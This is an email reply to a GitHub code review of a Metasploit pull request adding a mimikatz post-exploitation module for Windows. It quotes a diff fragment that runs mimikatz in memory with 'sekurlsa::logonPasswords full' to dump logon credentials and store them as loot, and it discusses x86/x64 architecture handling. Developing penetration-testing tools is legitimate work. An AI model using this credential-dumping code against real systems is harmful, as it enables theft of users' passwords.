Agreed this would be better as an ext but it's gpl... Far as cross arch,
best we can do on this end is to throw an exception. Sessiondump has not
been great in testing, will poke at sources if I get some free time

Boris Lukashev
Systems Architect
Semper Victus LLC
On Apr 14, 2013 11:51 AM, "Meatballs1" <notifications@github.com> wrote:

> In modules/post/windows/gather/credentials/mimikatz.rb:
>
> > +      OptBool.new('StoreCreds', [ true, 'Store found credentials to the DB', true]),
> > +      OptBool.new('StoreLoot', [ true, 'Store found credentials to loot file', true]),
> > +      ])
> > +
> > +  end
> > +
> > +  def run
> > +    print_status("Running module against #{sysinfo['Computer']}")
> > +    output = run_mimikatz
> > +    process_mimikatz_passwords(output)
> > +  end
> > +
> > +  # Configures parameters for exec_in_mem, returns raw console output
> > +  # TODO: automate certificate and key extraction
> > +  def run_mimikatz(args = '"sekurlsa::logonPasswords full" exit')
> > +    arch = sysinfo['Architecture'] == 'x86' ? 'x86' : 'x64'
>
> check client.platform == x86 and architecture == x64
> or
> architecture contains WOW64
>
> then bail - with a warning unable to execute in memory WOW64 Migrate to a
> x64 bit process first.
>
> —
> Reply to this email directly or view it on GitHub<https://github.com/rapid7/metasploit-framework/pull/937/files#r3786082>
> .
>